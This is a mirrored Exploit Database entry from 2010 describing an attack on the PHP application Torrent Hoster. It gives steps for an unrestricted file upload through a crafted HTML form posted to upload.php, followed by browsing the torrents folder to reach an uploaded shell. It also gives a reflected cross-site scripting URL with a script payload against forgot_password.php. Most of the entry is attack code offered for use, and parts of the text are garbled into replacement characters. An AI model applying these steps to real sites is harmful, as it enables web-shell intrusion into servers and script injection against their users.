Torrent Hoster – Remount Upload

• Exploit Database
• 109 阅读

• 作者： EL-KAHINA
  日期： 2010-03-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11746/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  ======================================================================================== | # Title: Torrent Hoster Remont Upload Exploit | # Author : El-Kahina | # Home : www.h4kz.com| | # Script : Powered by Torrent Hoster. | # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu) | # Bug: Upload | ======================Exploit By El-Kahina ================================= # Exploit: 1 - use tamper data : http://127.0.0.1/torrenthoster//torrents.php?mode=upload 2- <center> Powered by Torrent Hoster <br /> <form enctype="multipart/form-data" action="http://127.0.0.1/torrenthoster/upload.php" id="form" method="post" onsubmit="a=document.getElementById(&apos;form&apos;).style;a.display=&apos;none&apos;;b=document.getElementById(&apos;part2&apos;).style;b.display=&apos;inline&apos;;" style="display: inline;"> <strong>&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; &#65533;&#65533;:</strong> <?php echo $maxfilesize; ?>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;<br /> <br> <input type="file" name="upfile" size="50" /><br /> <input type="submit" value="&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;" id="upload" /> </form> <div id="part2" style="display: none;">&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; .. &#65533;&#65533; &#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;</div> </center>   3 - http://127.0.0.1/torrenthoster/torrents/(to find shell)   4 - Xss:   http://127.0.0.1/torrenthoster/users/forgot_password.php/>"><ScRiPt>alert(00213771818860)</ScRiPt> ========================================== Greetz : Exploit-db Team all my friend :(Dz-Ghost Team ) im indoushka&apos;s sister ------------------------------------------